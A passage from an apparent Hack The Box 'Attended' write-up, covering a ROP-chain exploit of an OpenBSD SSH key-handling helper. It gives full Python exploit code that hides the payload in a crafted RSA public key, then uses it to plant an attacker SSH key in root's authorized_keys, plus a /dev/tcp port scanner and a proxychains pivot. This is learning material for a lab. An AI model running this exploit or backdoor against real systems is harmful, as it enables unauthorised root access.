AAAB8A0AAAAAAAIADQAAAAAAAagNAAAAAAAAAAAAAAAAAAAAAAAAAAAAB (gdb) c Continuing. Breakpoint 2, 0x000000000040036a in ?? () (gdb) c Continuing. Breakpoint 2, 0x000000000040036a in ?? () (gdb) c Continuing. Breakpoint 2, 0x000000000040036a in ?? () (gdb) c Continuing. Breakpoint 2, 0x000000000040036a in ?? () (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x000000000040036b in ?? () (gdb) info registers $rax $rdi $rsi $rdx rax 0x3b 59 rdi 0x601106 6295814 rsi 0x6010e6 6295782 rdx 0x0 0
The needed registers have been completely controlled and to give an overview to what is inside RDI and RSI:
(gdb) x/xs $rdi 0x601106: "/bin/sh" (gdb) x/4xg $rsi 0x6010e6: 0x0000000000601106 0x000000000060110e 0x6010f6: 0x0000000000601116 0x0000000000000000 (gdb) x/xs 0x0000000000601106 0x601106: "/bin/sh" (gdb) x/xs 0x000000000060110e 0x60110e: "-c" (gdb) x/xs 0x0000000000601116 0x601116: "echo $(id) > /tmp/jebidiah"
The pointers inside RSI are all going to the right places so the only thing left to do is to trigger the syscall.
5.8 ADDING SYSCALL
To finalize the exploit, the syscall instruction has been added to the code:
from Crypto.PublicKey import RSA from pwn import # Floating Point Conversion========================================= def convertAddressToFP(address): addr_int = int(str(address)) binary = "" while addr_int > 0: binary += str(addr_int % 2) addr_int = int(addr_int/2) binary = binary[::-1] significant_left = binary.find("1") decimal_adj = len(binary[significant_left+1:]) exponent_precision = 127 + decimal_adj exponent = "" while exponent_precision > 0: exponent += str(exponent_precision % 2) exponent_precision = int(exponent_precision/2) exponent = exponent[::-1] mantissa = binary[significant_left+1:].ljust(23,"0") binary_string = "0" + exponent + mantissa return int(binary_string, 2) # Public Key Generation============================================= def generateRSAPublicKey(payload): n = int("".join([format(ord(x),"02x") for x in payload]),16) + 1 print(RSA.construct((n, 65537)).exportKey(format="OpenSSH").decode("utf-8")) # Command Execution Payload========================================= payload = "" payload += p64(convertAddressToFP(0x006010d6 + 0x30)) payload += p64(convertAddressToFP(0x006010d6 + 0x10)) payload += p64(0x006010d6 + 0x30) payload += p64(0x006010d6 + 0x38) payload += p64(0x006010d6 + 0x40) payload += p64(0) payload += "/bin/sh" + "\x00" payload += "-c" + ("\x00" 6) payload += "echo $(id) > /tmp/jebidiah" + "\x00" # TEST COMMAND # Payload Buffer==================================================== payload += "A" (768 - 22 - len(payload)) # buffer payload += "B" 8 # rbp # Controlling RAX=================================================== payload += p64(0x00400394) # mov eax, 0xffffffff; xor rcx, rcx; ret; for i in range(0,24): payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x0040036d) # not al; adc cl, 0xe8; ret; payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x0040036d) # not al; adc cl, 0xe8; ret; payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x00400370) # shr eax, 1; ret; # Controlling RDI, RSI, RDX========================================= payload += p64(0x0040036a) # pop rdx; ret; payload += p64(0x006010d6) # RDI -> Pointer to "/bin/sh" payload += p64(0x0040037c) # movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret; payload += p64(0x00400380) # cvtss2si esi, xmm0; ret; payload += p64(0x00400367) # mov rdi, rsi; pop rdx; ret; payload += p64(0x006010d6 + 0x08) # RSI -> Pointer to argv addresses payload += p64(0x0040037c) # movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret; payload += p64(0x00400380) # cvtss2si esi, xmm0; ret; payload += p64(0x0040036a) # pop rdx; ret; payload += p64(0) # RDX set to NULL # SYSCALL=========================================================== payload += p64(0x004003cf) # syscall; ret; payload += p64(0) # Payload Generation================================================ generateRSAPublicKey(payload)
5.9 TESTING ON LOCAL OPENBSD
Running the completed exploit code then passing the generated payload as an identity file when logging in via SSH:
$ python test.py > test.key $ ssh -i test.key -l root 192.168.222.134 root@192.168.222.134's password: Permission denied, please try again. root@192.168.222.134's password: Permission denied, please try again. root@192.168.222.134's password: root@192.168.222.134: Permission denied (publickey,password,keyboard-interactive).
Then checking if the file was created:
$ ssh -l jebidiah 192.168.222.134 obsd$ ls -l /tmp/jebidiah -rw-r--r-- 1 root wheel 101 May 9 03:50 /tmp/jebidiah obsd$ cat /tmp/jebidiah uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
So the exploit works on my local setup, the only thing to do is to run it on the machine.
PART 6 : PRIVILEGE ESCALATION (freshness → root)
6.1 Attended Gateway
It was stated earlier in a note that the authkeys was implemented on attendedgw
but not on attended
. Looking for other machines in the network via ping sweep then scanning for ports remotely:
attended$ ifconfig vio0 vio0: flags=8b43<UP,BROADCAST,RUNNING,PROMISC,ALLMULTI,SIMPLEX,MULTICAST> mtu 1500 lladdr 00:10:20:30:40:50 index 1 priority 0 llprio 3 groups: egress media: Ethernet autoselect status: active inet 192.168.23.2 netmask 0xffffff00 broadcast 192.168.23.255 attended$ ping -c1 attendedgw PING attendedgw.attended.htb (192.168.23.1): 56 data bytes 64 bytes from 192.168.23.1: icmp_seq=0 ttl=255 time=0.840 ms
The Attended Gateway is at 192.168.23.1
and now, to check for open ports, I opened a reverse proxy via SSH to the machine and ran the following script:
#!/bin/bash for port in {1..12000}; do (echo > /dev/tcp/192.168.23.1/$port) &>/dev/null [ $? -eq 0 ] && echo "TCP PORT $port open" done;
$ ssh -i freshness.id_rsa -l freshness -D 6969 -f -N 10.10.10.221 $ sudo vim /etc/proxychains.conf $ cat /etc/proxychains.conf | tail -n2 # ATTENDED socks5 127.0.0.1 6969 $ proxychains ./ports.sh TCP PORT 25 open TCP PORT 53 open TCP PORT 80 open TCP PORT 2222 open TCP PORT 8080 open
It seems like the SSH port is open at TCP port 2222.
6.2 RUNNING THE EXPLOIT
The exploit has been modified to write an SSH public key to the authorized_keys
file in /root
:
from Crypto.PublicKey import RSA from pwn import # Floating Point Conversion========================================= def convertAddressToFP(address): addr_int = int(str(address)) binary = "" while addr_int > 0: binary += str(addr_int % 2) addr_int = int(addr_int/2) binary = binary[::-1] significant_left = binary.find("1") decimal_adj = len(binary[significant_left+1:]) exponent_precision = 127 + decimal_adj exponent = "" while exponent_precision > 0: exponent += str(exponent_precision % 2) exponent_precision = int(exponent_precision/2) exponent = exponent[::-1] mantissa = binary[significant_left+1:].ljust(23,"0") binary_string = "0" + exponent + mantissa return int(binary_string, 2) # Public Key Generation============================================= def generateRSAPublicKey(payload): n = int("".join([format(ord(x),"02x") for x in payload]),16) + 1 print(RSA.construct((n, 65537)).exportKey(format="OpenSSH").decode("utf-8")) # Command Execution Payload========================================= payload = "" payload += p64(convertAddressToFP(0x006010d6 + 0x30)) payload += p64(convertAddressToFP(0x006010d6 + 0x10)) payload += p64(0x006010d6 + 0x30) payload += p64(0x006010d6 + 0x38) payload += p64(0x006010d6 + 0x40) payload += p64(0) payload += "/bin/sh" + "\x00" payload += "-c" + ("\x00" 6) payload += "echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAjMN54BBvvnJUXFjy9FSQ0zUVC7ZJg8FG+hPkNcoIk/ZZTz84yzE3sobaFTgDhfsjgisDd2jjZg8xuBZ4Gjo2pE0aqUQfP4bQwL6N4k+TmqMjBamwy7Copjt+sF0m4EJX1ZkURCFgL1ssqXorFDfRZSA3WingLrq2GYcJS9TMLlt5ZFzcT+umOHGE5wtYCHu11yCSpZNFl2S04GTsB2R/D3X1tQqRdWpIg1JGD0/gSFSuBJNn7ngOfPKQrjlBOrvCgtB+mWgBLp0smETICi9IqIvnW6K5AWNP+ZxWm4Bjl5Vor0mmfQdCcRVElZdpEEW59XSwnhlCpzW+hk8MzQGUoqJ01JKa03rFqdHLHWIy2sfS4vFsG450A4un/hClPMoQxf12gwY2WwsBwAwRKTi1Q23lnLN/NolaCdzOdEUzVc9drcQbvWlR+dxkiW09eFEqk6TEFiVtla2oywhozphFdjye7GPVfuz/862VAMOyG/Ny/82dGOzmt+irNsfc5Tc=' >> /root/.ssh/authorized_keys" + "\x00" # Payload Buffer==================================================== payload += "A" (768 - 22 - len(payload)) # buffer payload += "B" 8 # rbp # Controlling RAX=================================================== payload += p64(0x00400394) # mov eax, 0xffffffff; xor rcx, rcx; ret; for i in range(0,24): payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x0040036d) # not al; adc cl, 0xe8; ret; payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x0040036d) # not al; adc cl, 0xe8; ret; payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x00400370) # shr eax, 1; ret; # Controlling RDI, RSI, RDX========================================= payload += p64(0x0040036a) # pop rdx; ret; payload += p64(0x006010d6) # RDI -> Pointer to "/bin/sh" payload += p64(0x0040037c) # movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret; payload += p64(0x00400380) # cvtss2si esi, xmm0; ret; payload += p64(0x00400367) # mov rdi, rsi; pop rdx; ret; payload += p64(0x006010d6 + 0x08) # RSI -> Pointer to argv addresses payload += p64(0x0040037c) # movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret; payload += p64(0x00400380) # cvtss2si esi, xmm0; ret; payload += p64(0x0040036a) # pop rdx; ret; payload += p64(0) # RDX set to NULL # SYSCALL=========================================================== payload += p64(0x004003cf) # syscall; ret; payload += p64(0) # Payload Generation================================================ generateRSAPublicKey(payload)
Now passing the generated payload via SSH:
$ python exploit.py > exploit.key $ proxychains ssh -i exploit.key -l root -p 2222 192.168.23.1 root@192.168.23.1's password: Permission denied, please try again. root@192.168.23.1's password: Permission denied, please try again. root@192.168.23.1's password: root@192.168.23.1: Permission denied (publickey,password,keyboard-interactive). $ proxychains ssh -i freshness.id_rsa -l root -p 2222 192.168.23.1 attendedgw# id uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest) attendedgw# cat /root/root.txt 1986e8537a05420f0d59263f04dcd48a
PART 7 : REFERENCES
- https://securitynews.sonicwall.com/xmlpost/vim-modelines-remote-command-execution-dec-23-2016/ - https://medium.com/@knownsec404team/vim-neovim-arbitrary-code-execution-via-modelines-cve-2002-1377-cve-2016-1248-cve-2019-12735-c769a97dfccf - https://man.openbsd.org/sshd_config.5 - https://www.rapidtables.com/convert/number/hex-to-decimal.html?x=3b - https://man7.org/linux/man-pages/man2/execve.2.html - https://www.wikihow.com/Convert-a-Number-from-Decimal-to-IEEE-754-Floating-Point-Representation - https://www.felixcloutier.com/x86/cvtss2si - https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/